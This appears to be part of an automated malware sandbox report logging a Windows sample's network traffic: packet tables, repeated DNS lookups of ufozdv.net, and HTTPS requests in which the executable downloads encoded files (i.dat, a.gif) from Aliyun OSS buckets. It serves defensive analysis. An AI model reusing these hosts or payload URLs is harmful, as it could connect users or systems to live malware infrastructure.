Jan 15, 2025 04:24:08.821481943 CET	64605	443	192.168.2.4	118.178.60.9
Jan 15, 2025 04:24:08.823685884 CET	443	64605	118.178.60.9	192.168.2.4
Jan 15, 2025 04:24:08.823883057 CET	64605	443	192.168.2.4	118.178.60.9
Jan 15, 2025 04:24:08.825843096 CET	443	64605	118.178.60.9	192.168.2.4
Jan 15, 2025 04:24:08.825989962 CET	64605	443	192.168.2.4	118.178.60.9
Jan 15, 2025 04:24:08.830225945 CET	443	64605	118.178.60.9	192.168.2.4
Jan 15, 2025 04:24:08.830403090 CET	64605	443	192.168.2.4	118.178.60.9
Jan 15, 2025 04:24:08.832525015 CET	443	64605	118.178.60.9	192.168.2.4
Jan 15, 2025 04:24:08.832647085 CET	64605	443	192.168.2.4	118.178.60.9
Jan 15, 2025 04:24:08.836994886 CET	443	64605	118.178.60.9	192.168.2.4
Jan 15, 2025 04:24:08.837232113 CET	64605	443	192.168.2.4	118.178.60.9
Jan 15, 2025 04:24:08.839095116 CET	443	64605	118.178.60.9	192.168.2.4
Jan 15, 2025 04:24:08.839170933 CET	64605	443	192.168.2.4	118.178.60.9
Jan 15, 2025 04:24:08.843498945 CET	443	64605	118.178.60.9	192.168.2.4
Jan 15, 2025 04:24:08.843724966 CET	64605	443	192.168.2.4	118.178.60.9
Jan 15, 2025 04:24:08.845761061 CET	443	64605	118.178.60.9	192.168.2.4
Jan 15, 2025 04:24:08.845936060 CET	64605	443	192.168.2.4	118.178.60.9
Jan 15, 2025 04:24:08.847954035 CET	443	64605	118.178.60.9	192.168.2.4
Jan 15, 2025 04:24:08.848067045 CET	64605	443	192.168.2.4	118.178.60.9
Jan 15, 2025 04:24:08.852303028 CET	443	64605	118.178.60.9	192.168.2.4
Jan 15, 2025 04:24:08.852389097 CET	64605	443	192.168.2.4	118.178.60.9
Jan 15, 2025 04:24:08.854501963 CET	443	64605	118.178.60.9	192.168.2.4
Jan 15, 2025 04:24:08.854655027 CET	64605	443	192.168.2.4	118.178.60.9
Jan 15, 2025 04:24:08.859026909 CET	443	64605	118.178.60.9	192.168.2.4
Jan 15, 2025 04:24:08.859283924 CET	64605	443	192.168.2.4	118.178.60.9
Jan 15, 2025 04:24:08.861109972 CET	443	64605	118.178.60.9	192.168.2.4
Jan 15, 2025 04:24:08.861298084 CET	64605	443	192.168.2.4	118.178.60.9
Jan 15, 2025 04:24:08.863373041 CET	443	64605	118.178.60.9	192.168.2.4
Jan 15, 2025 04:24:08.863598108 CET	64605	443	192.168.2.4	118.178.60.9
Jan 15, 2025 04:24:08.867769957 CET	443	64605	118.178.60.9	192.168.2.4
Jan 15, 2025 04:24:08.868026018 CET	64605	443	192.168.2.4	118.178.60.9
Jan 15, 2025 04:24:08.869963884 CET	443	64605	118.178.60.9	192.168.2.4
Jan 15, 2025 04:24:08.870028973 CET	64605	443	192.168.2.4	118.178.60.9
Jan 15, 2025 04:24:08.874433041 CET	443	64605	118.178.60.9	192.168.2.4
Jan 15, 2025 04:24:08.874815941 CET	64605	443	192.168.2.4	118.178.60.9
Jan 15, 2025 04:24:08.876591921 CET	443	64605	118.178.60.9	192.168.2.4
Jan 15, 2025 04:24:08.876933098 CET	64605	443	192.168.2.4	118.178.60.9
Jan 15, 2025 04:24:09.233234882 CET	443	64605	118.178.60.9	192.168.2.4
Jan 15, 2025 04:24:09.233402014 CET	64605	443	192.168.2.4	118.178.60.9
Jan 15, 2025 04:24:09.233405113 CET	443	64605	118.178.60.9	192.168.2.4
Jan 15, 2025 04:24:09.233433962 CET	443	64605	118.178.60.9	192.168.2.4
Jan 15, 2025 04:24:09.233468056 CET	64605	443	192.168.2.4	118.178.60.9
Jan 15, 2025 04:24:09.233481884 CET	64605	443	192.168.2.4	118.178.60.9
Jan 15, 2025 04:24:09.233550072 CET	443	64605	118.178.60.9	192.168.2.4
Jan 15, 2025 04:24:09.233612061 CET	64605	443	192.168.2.4	118.178.60.9
Jan 15, 2025 04:24:09.233664989 CET	443	64605	118.178.60.9	192.168.2.4
Jan 15, 2025 04:24:09.233789921 CET	443	64605	118.178.60.9	192.168.2.4
Jan 15, 2025 04:24:09.233798981 CET	64605	443	192.168.2.4	118.178.60.9
Jan 15, 2025 04:24:09.233815908 CET	443	64605	118.178.60.9	192.168.2.4
Jan 15, 2025 04:24:09.233858109 CET	64605	443	192.168.2.4	118.178.60.9
Jan 15, 2025 04:24:09.233858109 CET	64605	443	192.168.2.4	118.178.60.9
Jan 15, 2025 04:24:09.233916044 CET	443	64605	118.178.60.9	192.168.2.4
Jan 15, 2025 04:24:09.233982086 CET	64605	443	192.168.2.4	118.178.60.9
Jan 15, 2025 04:24:09.234025002 CET	443	64605	118.178.60.9	192.168.2.4
Jan 15, 2025 04:24:09.234117985 CET	64605	443	192.168.2.4	118.178.60.9
Jan 15, 2025 04:24:09.234141111 CET	443	64605	118.178.60.9	192.168.2.4
Jan 15, 2025 04:24:09.234221935 CET	64605	443	192.168.2.4	118.178.60.9
Jan 15, 2025 04:24:09.234246016 CET	443	64605	118.178.60.9	192.168.2.4
Jan 15, 2025 04:24:09.234334946 CET	64605	443	192.168.2.4	118.178.60.9
Jan 15, 2025 04:24:09.234345913 CET	443	64605	118.178.60.9	192.168.2.4
Jan 15, 2025 04:24:09.234416962 CET	64605	443	192.168.2.4	118.178.60.9
Jan 15, 2025 04:24:09.234451056 CET	443	64605	118.178.60.9	192.168.2.4
Jan 15, 2025 04:24:09.234606981 CET	443	64605	118.178.60.9	192.168.2.4
Jan 15, 2025 04:24:09.234652042 CET	64605	443	192.168.2.4	118.178.60.9
Jan 15, 2025 04:24:09.234652042 CET	64605	443	192.168.2.4	118.178.60.9
Jan 15, 2025 04:24:09.241576910 CET	64605	443	192.168.2.4	118.178.60.9
Jan 15, 2025 04:24:09.241595030 CET	443	64605	118.178.60.9	192.168.2.4
Jan 15, 2025 04:25:04.451498985 CET	8917	64570	8.217.59.222	192.168.2.4
Jan 15, 2025 04:25:04.495045900 CET	64570	8917	192.168.2.4	8.217.59.222

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 15, 2025 04:22:34.290410995 CET	49785	53	192.168.2.4	1.1.1.1
Jan 15, 2025 04:22:34.706417084 CET	53	49785	1.1.1.1	192.168.2.4
Jan 15, 2025 04:22:43.267889023 CET	53	61312	162.159.36.2	192.168.2.4
Jan 15, 2025 04:22:43.747220039 CET	62691	53	192.168.2.4	1.1.1.1
Jan 15, 2025 04:22:43.754116058 CET	53	62691	1.1.1.1	192.168.2.4
Jan 15, 2025 04:22:50.639146090 CET	51047	53	192.168.2.4	1.1.1.1
Jan 15, 2025 04:22:50.646267891 CET	53	51047	1.1.1.1	192.168.2.4
Jan 15, 2025 04:23:06.841478109 CET	59098	53	192.168.2.4	1.1.1.1
Jan 15, 2025 04:23:07.092161894 CET	53	59098	1.1.1.1	192.168.2.4
Jan 15, 2025 04:23:43.071229935 CET	56581	53	192.168.2.4	1.1.1.1
Jan 15, 2025 04:23:43.080697060 CET	53	56581	1.1.1.1	192.168.2.4
Jan 15, 2025 04:23:49.120645046 CET	60798	53	192.168.2.4	1.1.1.1
Jan 15, 2025 04:23:49.130573034 CET	53	60798	1.1.1.1	192.168.2.4
Jan 15, 2025 04:23:55.152066946 CET	60699	53	192.168.2.4	1.1.1.1
Jan 15, 2025 04:23:55.162374973 CET	53	60699	1.1.1.1	192.168.2.4
Jan 15, 2025 04:24:01.183113098 CET	56744	53	192.168.2.4	1.1.1.1
Jan 15, 2025 04:24:01.337771893 CET	53	56744	1.1.1.1	192.168.2.4
Jan 15, 2025 04:24:07.355011940 CET	54714	53	192.168.2.4	1.1.1.1
Jan 15, 2025 04:24:07.518290997 CET	53	54714	1.1.1.1	192.168.2.4
Jan 15, 2025 04:24:13.542721987 CET	51829	53	192.168.2.4	1.1.1.1
Jan 15, 2025 04:24:13.552279949 CET	53	51829	1.1.1.1	192.168.2.4
Jan 15, 2025 04:24:19.573699951 CET	57465	53	192.168.2.4	1.1.1.1
Jan 15, 2025 04:24:19.733967066 CET	53	57465	1.1.1.1	192.168.2.4
Jan 15, 2025 04:24:24.887144089 CET	65396	53	192.168.2.4	1.1.1.1
Jan 15, 2025 04:24:25.040476084 CET	53	65396	1.1.1.1	192.168.2.4
Jan 15, 2025 04:24:30.996047974 CET	59376	53	192.168.2.4	1.1.1.1
Jan 15, 2025 04:24:31.006082058 CET	53	59376	1.1.1.1	192.168.2.4
Jan 15, 2025 04:24:36.511328936 CET	57373	53	192.168.2.4	1.1.1.1
Jan 15, 2025 04:24:36.521110058 CET	53	57373	1.1.1.1	192.168.2.4
Jan 15, 2025 04:24:40.919871092 CET	59594	53	192.168.2.4	1.1.1.1
Jan 15, 2025 04:24:40.929920912 CET	53	59594	1.1.1.1	192.168.2.4
Jan 15, 2025 04:24:45.776746035 CET	56424	53	192.168.2.4	1.1.1.1
Jan 15, 2025 04:24:45.929363966 CET	53	56424	1.1.1.1	192.168.2.4
Jan 15, 2025 04:24:50.714814901 CET	62868	53	192.168.2.4	1.1.1.1
Jan 15, 2025 04:24:50.878755093 CET	53	62868	1.1.1.1	192.168.2.4
Jan 15, 2025 04:24:55.714724064 CET	58061	53	192.168.2.4	1.1.1.1
Jan 15, 2025 04:24:55.724936962 CET	53	58061	1.1.1.1	192.168.2.4
Jan 15, 2025 04:25:00.819554090 CET	64126	53	192.168.2.4	1.1.1.1
Jan 15, 2025 04:25:00.829874039 CET	53	64126	1.1.1.1	192.168.2.4
Jan 15, 2025 04:25:05.722898006 CET	60846	53	192.168.2.4	1.1.1.1
Jan 15, 2025 04:25:05.732624054 CET	53	60846	1.1.1.1	192.168.2.4
Jan 15, 2025 04:25:10.717406988 CET	57281	53	192.168.2.4	1.1.1.1
Jan 15, 2025 04:25:10.869632959 CET	53	57281	1.1.1.1	192.168.2.4
Jan 15, 2025 04:25:15.714660883 CET	56391	53	192.168.2.4	1.1.1.1
Jan 15, 2025 04:25:15.725090981 CET	53	56391	1.1.1.1	192.168.2.4
Jan 15, 2025 04:25:20.725394964 CET	60001	53	192.168.2.4	1.1.1.1
Jan 15, 2025 04:25:20.877799988 CET	53	60001	1.1.1.1	192.168.2.4
Jan 15, 2025 04:25:25.722074032 CET	57325	53	192.168.2.4	1.1.1.1
Jan 15, 2025 04:25:25.729754925 CET	53	57325	1.1.1.1	192.168.2.4
Jan 15, 2025 04:25:30.801789045 CET	52536	53	192.168.2.4	1.1.1.1
Jan 15, 2025 04:25:30.812092066 CET	53	52536	1.1.1.1	192.168.2.4
Jan 15, 2025 04:25:35.718467951 CET	56584	53	192.168.2.4	1.1.1.1
Jan 15, 2025 04:25:35.728431940 CET	53	56584	1.1.1.1	192.168.2.4
Jan 15, 2025 04:25:40.826567888 CET	64592	53	192.168.2.4	1.1.1.1
Jan 15, 2025 04:25:40.834063053 CET	53	64592	1.1.1.1	192.168.2.4
Jan 15, 2025 04:25:45.717623949 CET	62234	53	192.168.2.4	1.1.1.1
Jan 15, 2025 04:25:45.873964071 CET	53	62234	1.1.1.1	192.168.2.4
Jan 15, 2025 04:25:50.716352940 CET	63993	53	192.168.2.4	1.1.1.1
Jan 15, 2025 04:25:50.724544048 CET	53	63993	1.1.1.1	192.168.2.4
Jan 15, 2025 04:25:55.717430115 CET	53036	53	192.168.2.4	1.1.1.1
Jan 15, 2025 04:25:55.724535942 CET	53	53036	1.1.1.1	192.168.2.4
Jan 15, 2025 04:26:00.743308067 CET	63950	53	192.168.2.4	1.1.1.1
Jan 15, 2025 04:26:00.750706911 CET	53	63950	1.1.1.1	192.168.2.4
Jan 15, 2025 04:26:05.719975948 CET	64954	53	192.168.2.4	1.1.1.1
Jan 15, 2025 04:26:05.727539062 CET	53	64954	1.1.1.1	192.168.2.4
Jan 15, 2025 04:26:10.719824076 CET	55051	53	192.168.2.4	1.1.1.1
Jan 15, 2025 04:26:10.727237940 CET	53	55051	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 15, 2025 04:22:34.290410995 CET	192.168.2.4	1.1.1.1	0x1449	Standard query (0)	vien3h.oss-cn-beijing.aliyuncs.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:22:43.747220039 CET	192.168.2.4	1.1.1.1	0x5957	Standard query (0)	171.39.242.20.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Jan 15, 2025 04:22:50.639146090 CET	192.168.2.4	1.1.1.1	0x7bf4	Standard query (0)	vien3h.oss-cn-beijing.aliyuncs.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:23:06.841478109 CET	192.168.2.4	1.1.1.1	0x47ea	Standard query (0)	22mm.oss-cn-hangzhou.aliyuncs.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:23:43.071229935 CET	192.168.2.4	1.1.1.1	0x594c	Standard query (0)	ufozdv.net	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:23:49.120645046 CET	192.168.2.4	1.1.1.1	0x190c	Standard query (0)	ufozdv.net	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:23:55.152066946 CET	192.168.2.4	1.1.1.1	0x1b6	Standard query (0)	ufozdv.net	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:24:01.183113098 CET	192.168.2.4	1.1.1.1	0x6e62	Standard query (0)	ufozdv.net	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:24:07.355011940 CET	192.168.2.4	1.1.1.1	0x8aa6	Standard query (0)	ufozdv.net	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:24:13.542721987 CET	192.168.2.4	1.1.1.1	0xc310	Standard query (0)	ufozdv.net	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:24:19.573699951 CET	192.168.2.4	1.1.1.1	0x198c	Standard query (0)	ufozdv.net	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:24:24.887144089 CET	192.168.2.4	1.1.1.1	0x1b63	Standard query (0)	ufozdv.net	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:24:30.996047974 CET	192.168.2.4	1.1.1.1	0xc16b	Standard query (0)	ufozdv.net	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:24:36.511328936 CET	192.168.2.4	1.1.1.1	0x385e	Standard query (0)	ufozdv.net	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:24:40.919871092 CET	192.168.2.4	1.1.1.1	0xd672	Standard query (0)	ufozdv.net	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:24:45.776746035 CET	192.168.2.4	1.1.1.1	0x36f0	Standard query (0)	ufozdv.net	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:24:50.714814901 CET	192.168.2.4	1.1.1.1	0xb46e	Standard query (0)	ufozdv.net	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:24:55.714724064 CET	192.168.2.4	1.1.1.1	0x7a16	Standard query (0)	ufozdv.net	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:25:00.819554090 CET	192.168.2.4	1.1.1.1	0x547c	Standard query (0)	ufozdv.net	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:25:05.722898006 CET	192.168.2.4	1.1.1.1	0xd64e	Standard query (0)	ufozdv.net	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:25:10.717406988 CET	192.168.2.4	1.1.1.1	0xc046	Standard query (0)	ufozdv.net	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:25:15.714660883 CET	192.168.2.4	1.1.1.1	0x9fca	Standard query (0)	ufozdv.net	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:25:20.725394964 CET	192.168.2.4	1.1.1.1	0xeb33	Standard query (0)	ufozdv.net	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:25:25.722074032 CET	192.168.2.4	1.1.1.1	0xf61f	Standard query (0)	ufozdv.net	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:25:30.801789045 CET	192.168.2.4	1.1.1.1	0xd7e2	Standard query (0)	ufozdv.net	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:25:35.718467951 CET	192.168.2.4	1.1.1.1	0x44e6	Standard query (0)	ufozdv.net	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:25:40.826567888 CET	192.168.2.4	1.1.1.1	0x4546	Standard query (0)	ufozdv.net	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:25:45.717623949 CET	192.168.2.4	1.1.1.1	0xa641	Standard query (0)	ufozdv.net	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:25:50.716352940 CET	192.168.2.4	1.1.1.1	0x8f71	Standard query (0)	ufozdv.net	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:25:55.717430115 CET	192.168.2.4	1.1.1.1	0x4718	Standard query (0)	ufozdv.net	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:26:00.743308067 CET	192.168.2.4	1.1.1.1	0x950f	Standard query (0)	ufozdv.net	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:26:05.719975948 CET	192.168.2.4	1.1.1.1	0x2ce9	Standard query (0)	ufozdv.net	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:26:10.719824076 CET	192.168.2.4	1.1.1.1	0x1c0d	Standard query (0)	ufozdv.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 15, 2025 04:22:34.706417084 CET	1.1.1.1	192.168.2.4	0x1449	No error (0)	vien3h.oss-cn-beijing.aliyuncs.com	sc-20ih.cn-beijing.oss-adns.aliyuncs.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 04:22:34.706417084 CET	1.1.1.1	192.168.2.4	0x1449	No error (0)	sc-20ih.cn-beijing.oss-adns.aliyuncs.com	sc-20ih.cn-beijing.oss-adns.aliyuncs.com.gds.alibabadns.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 04:22:34.706417084 CET	1.1.1.1	192.168.2.4	0x1449	No error (0)	sc-20ih.cn-beijing.oss-adns.aliyuncs.com.gds.alibabadns.com		39.103.20.17	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:22:43.754116058 CET	1.1.1.1	192.168.2.4	0x5957	Name error (3)	171.39.242.20.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Jan 15, 2025 04:22:50.646267891 CET	1.1.1.1	192.168.2.4	0x7bf4	No error (0)	vien3h.oss-cn-beijing.aliyuncs.com	sc-20ih.cn-beijing.oss-adns.aliyuncs.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 04:22:50.646267891 CET	1.1.1.1	192.168.2.4	0x7bf4	No error (0)	sc-20ih.cn-beijing.oss-adns.aliyuncs.com	sc-20ih.cn-beijing.oss-adns.aliyuncs.com.gds.alibabadns.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 04:22:50.646267891 CET	1.1.1.1	192.168.2.4	0x7bf4	No error (0)	sc-20ih.cn-beijing.oss-adns.aliyuncs.com.gds.alibabadns.com		39.103.20.17	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:23:07.092161894 CET	1.1.1.1	192.168.2.4	0x47ea	No error (0)	22mm.oss-cn-hangzhou.aliyuncs.com	sc-29j7.cn-hangzhou.oss-adns.aliyuncs.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 04:23:07.092161894 CET	1.1.1.1	192.168.2.4	0x47ea	No error (0)	sc-29j7.cn-hangzhou.oss-adns.aliyuncs.com	sc-29j7.cn-hangzhou.oss-adns.aliyuncs.com.gds.alibabadns.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 04:23:07.092161894 CET	1.1.1.1	192.168.2.4	0x47ea	No error (0)	sc-29j7.cn-hangzhou.oss-adns.aliyuncs.com.gds.alibabadns.com		118.178.60.9	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:23:43.080697060 CET	1.1.1.1	192.168.2.4	0x594c	Name error (3)	ufozdv.net	none	none	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:23:49.130573034 CET	1.1.1.1	192.168.2.4	0x190c	Name error (3)	ufozdv.net	none	none	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:23:55.162374973 CET	1.1.1.1	192.168.2.4	0x1b6	Name error (3)	ufozdv.net	none	none	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:24:01.337771893 CET	1.1.1.1	192.168.2.4	0x6e62	Name error (3)	ufozdv.net	none	none	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:24:07.518290997 CET	1.1.1.1	192.168.2.4	0x8aa6	Name error (3)	ufozdv.net	none	none	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:24:13.552279949 CET	1.1.1.1	192.168.2.4	0xc310	Name error (3)	ufozdv.net	none	none	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:24:19.733967066 CET	1.1.1.1	192.168.2.4	0x198c	Name error (3)	ufozdv.net	none	none	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:24:25.040476084 CET	1.1.1.1	192.168.2.4	0x1b63	Name error (3)	ufozdv.net	none	none	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:24:31.006082058 CET	1.1.1.1	192.168.2.4	0xc16b	Name error (3)	ufozdv.net	none	none	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:24:36.521110058 CET	1.1.1.1	192.168.2.4	0x385e	Name error (3)	ufozdv.net	none	none	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:24:40.929920912 CET	1.1.1.1	192.168.2.4	0xd672	Name error (3)	ufozdv.net	none	none	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:24:45.929363966 CET	1.1.1.1	192.168.2.4	0x36f0	Name error (3)	ufozdv.net	none	none	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:24:50.878755093 CET	1.1.1.1	192.168.2.4	0xb46e	Name error (3)	ufozdv.net	none	none	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:24:55.724936962 CET	1.1.1.1	192.168.2.4	0x7a16	Name error (3)	ufozdv.net	none	none	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:25:00.829874039 CET	1.1.1.1	192.168.2.4	0x547c	Name error (3)	ufozdv.net	none	none	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:25:05.732624054 CET	1.1.1.1	192.168.2.4	0xd64e	Name error (3)	ufozdv.net	none	none	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:25:10.869632959 CET	1.1.1.1	192.168.2.4	0xc046	Name error (3)	ufozdv.net	none	none	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:25:15.725090981 CET	1.1.1.1	192.168.2.4	0x9fca	Name error (3)	ufozdv.net	none	none	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:25:20.877799988 CET	1.1.1.1	192.168.2.4	0xeb33	Name error (3)	ufozdv.net	none	none	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:25:25.729754925 CET	1.1.1.1	192.168.2.4	0xf61f	Name error (3)	ufozdv.net	none	none	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:25:30.812092066 CET	1.1.1.1	192.168.2.4	0xd7e2	Name error (3)	ufozdv.net	none	none	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:25:35.728431940 CET	1.1.1.1	192.168.2.4	0x44e6	Name error (3)	ufozdv.net	none	none	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:25:40.834063053 CET	1.1.1.1	192.168.2.4	0x4546	Name error (3)	ufozdv.net	none	none	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:25:45.873964071 CET	1.1.1.1	192.168.2.4	0xa641	Name error (3)	ufozdv.net	none	none	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:25:50.724544048 CET	1.1.1.1	192.168.2.4	0x8f71	Name error (3)	ufozdv.net	none	none	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:25:55.724535942 CET	1.1.1.1	192.168.2.4	0x4718	Name error (3)	ufozdv.net	none	none	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:26:00.750706911 CET	1.1.1.1	192.168.2.4	0x950f	Name error (3)	ufozdv.net	none	none	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:26:05.727539062 CET	1.1.1.1	192.168.2.4	0x2ce9	Name error (3)	ufozdv.net	none	none	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:26:10.727237940 CET	1.1.1.1	192.168.2.4	0x1c0d	Name error (3)	ufozdv.net	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

vien3h.oss-cn-beijing.aliyuncs.com

22mm.oss-cn-hangzhou.aliyuncs.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	39.103.20.17	443	5956	C:\Users\user\Desktop\2834573-3676874985.02.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 03:22:36 UTC	105	OUT	GET /i.dat HTTP/1.1 Connection: Keep-Alive User-Agent: Do Host: vien3h.oss-cn-beijing.aliyuncs.com
2025-01-15 03:22:36 UTC	558	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Wed, 15 Jan 2025 03:22:36 GMT Content-Type: application/octet-stream Content-Length: 512 Connection: close x-oss-request-id: 678729FC6BDBB731326876A2 Accept-Ranges: bytes ETag: "C92063FD4E148F2D2386C0DA8E46E701" Last-Modified: Mon, 13 Jan 2025 12:22:07 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 8416026672269937305 x-oss-storage-class: Standard x-oss-ec: 0048-00000113 Content-Disposition: attachment x-oss-force-download: true Content-MD5: ySBj/U4Ujy0jhsDajkbnAQ== x-oss-server-time: 18
2025-01-15 03:22:36 UTC	512	IN	Data Raw: 07 1b 1b 1f 6c 25 30 30 46 59 55 5e 6d 36 70 31 42 42 1c 52 3c 7f 30 37 5e 5d 5e 59 3e 77 38 35 5c 4c 40 5b 38 28 75 38 57 55 17 59 77 3e 30 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 57 4b 4b 4f 3c 75 60 60 16 09 05 0e 3d 66 20 61 12 12 4c 02 6c 2f 60 67 0e 0d 0e 09 6e 27 68 65 0c 1c 10 0b 68 78 25 68 07 05 47 0a 24 6d 63 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 04 18 18 1c 6f 26 33 33 45 5a 56 5d 6e 35 73 32 41 41 1f 51 3f 7c 33 34 5d 5e 5d 5a 3d 74 3b 36 5f 4f 43 58 3b 2b 76 3b 54 56 14 58 76 3f 31 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 56 4a 4a 4e 3d 74 61 61 17 08 04 0f 3c 67 21 Data Ascii: l%00FYU^m6p1BBR<07^]^Y>w85\L@[8(u8WUYw>0?????????????????????????????????WKKO<u``=f aLl/`gn'hehx%hG$mclllllllllllllllllllllllllllllllllo&33EZV]n5s2AAQ?\|34]^]Z=t;6_OCX;+v;TVXv?1>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>VJJN=taa<g!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49737	39.103.20.17	443	5956	C:\Users\user\Desktop\2834573-3676874985.02.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 03:22:37 UTC	105	OUT	GET /a.gif HTTP/1.1 Connection: Keep-Alive User-Agent: Do Host: vien3h.oss-cn-beijing.aliyuncs.com
2025-01-15 03:22:38 UTC	546	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Wed, 15 Jan 2025 03:22:38 GMT Content-Type: image/gif Content-Length: 135589 Connection: close x-oss-request-id: 678729FE7FFDC2383622915C Accept-Ranges: bytes ETag: "0DDD3F02B74B01D739C45956D8FD12B7" Last-Modified: Mon, 13 Jan 2025 12:21:20 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 8642451798640735006 x-oss-storage-class: Standard x-oss-ec: 0048-00000104 Content-Disposition: attachment x-oss-force-download: true Content-MD5: Dd0/ArdLAdc5xFlW2P0Stw== x-oss-server-time: 29
